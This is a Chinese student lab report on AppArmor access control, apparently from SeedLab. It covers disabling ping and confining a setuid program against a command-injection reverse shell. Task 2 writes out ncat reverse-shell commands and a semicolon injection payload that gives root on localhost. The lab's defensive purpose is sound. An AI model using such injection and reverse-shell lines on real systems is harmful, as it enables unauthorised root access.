2.1 APPARMOR实验

2.1.1 实验目的

AppArmor是linux系统中提供的一种强制访问控制方法,与SELinux类似,AppArmor 通过提供强制访问控制(MAC) 来补充传统的Linux自主访问控制(DAC) 。AppArmor允许系统管理员通过为每个程序进行权限配置,来限制程序的功能。配置文件可以允许诸如网络访问、原始套接字访问以及在匹配路径上读取、写入或执行文件的权限等功能。本实验的学习目标是让学生根据不同程序的访问控制需求,使用AppArmor进行访问控制配置,理解最小特权原则,并了解如何通过该方法抵御攻击。

2.1.2 实验内容、步骤及结果

实验环境:SeedLab Ubuntu16.04 32bit

任务1:ping的控制

针对ping(/bin/ping)程序,使用apparmor进行访问控制。尝试修改profile,使得ping程序的功能无法完成。

在这里插入图片描述

图2.1.1 修改/etc/apparmor.d/bin.ping文件

上图2.1.1所示为控制ping程序profile文件,为了使ping失效,只需要删除图中序号1所示行,也即该程序不能打开socket,也就失效了,结果如图2.1.2:
在这里插入图片描述

图2.1.2 ping功能失效

任务2:反向shell控制

(1) 编译下图的程序,设置setuidroot权限;通过命令注入攻击,创建reverseshell。
在这里插入图片描述

通过ncat命令注入,获取反向shell,如图2.1.3所示,直接获取到root权限。
ReverseShell:
ncat -lvp 5555(Attacker)
ncat 127.0.0.1 5555 -e /bin/sh
./command " readme.txt;ncat 127.0.0.1 5555 -e /bin/bash"
在这里插入图片描述

图2.1.3 注入攻击test程序创建reverseshell

(2) 使用apparmor对该程序进行访问控制,禁止attacker通过命令注入创建reverseshell;
为了禁止reverseshell,我们直接禁用ncat即可,profile文件如下图所示:
在这里插入图片描述

图2.1.4 禁用反向shell的profile文件

结果如下图2.1.5所示,可以发现注入失败:
在这里插入图片描述

图2.1.5 注入失败

(3) 使用apparmor对该程序进行访问控制,允许attacker通过命令注入创建reverseshell,但将attacker在reverseshell中的能使用的命令限制为ls,whoami;
要允许命令注入,就是要允许ncat执行。经过实验发现apparmor的profile规则匹配应该是默认拒绝的,所以我们限制命令为ls和whoami就直接允许这两个命令即可。profile如下图2.2.6所示,ls和whoami的配置见2,3处,ncat的配置见1处,需要注意的是,/bin/bash的权限也一定要给,见4处。

在这里插入图片描述

图2.1.6 限制反向shell执行命令的profile

结果如图2.1.7所示,可见,执行whoami和ls命令没有问题,然而包括cp,rm,mv,ping等其他指令均不能执行。
在这里插入图片描述

图2.1.7 限制的反向shell攻击结果

apparmor是一个很新的东西,感觉还是有点用,网上资料很少,在此记录这次实验过程。如果想真正搞懂apparmor,可以参考下面的网站:
https://wiki.ubuntu.com/AppArmor
https://help.ubuntu.com/community/AppArmor
https://gitlab.com/apparmor/apparmor/-/wikis/AppArmor_Core_Policy_Reference
https://www.apertis.org/guides/apparmor/
https://blog.csdn.net/u014440610/article/details/37940675
https://medium.com/information-and-technology/so-what-is-apparmor-64d7ae211ed
https://blog.csdn.net/culintai3473/article/details/108788329

Logo

更多推荐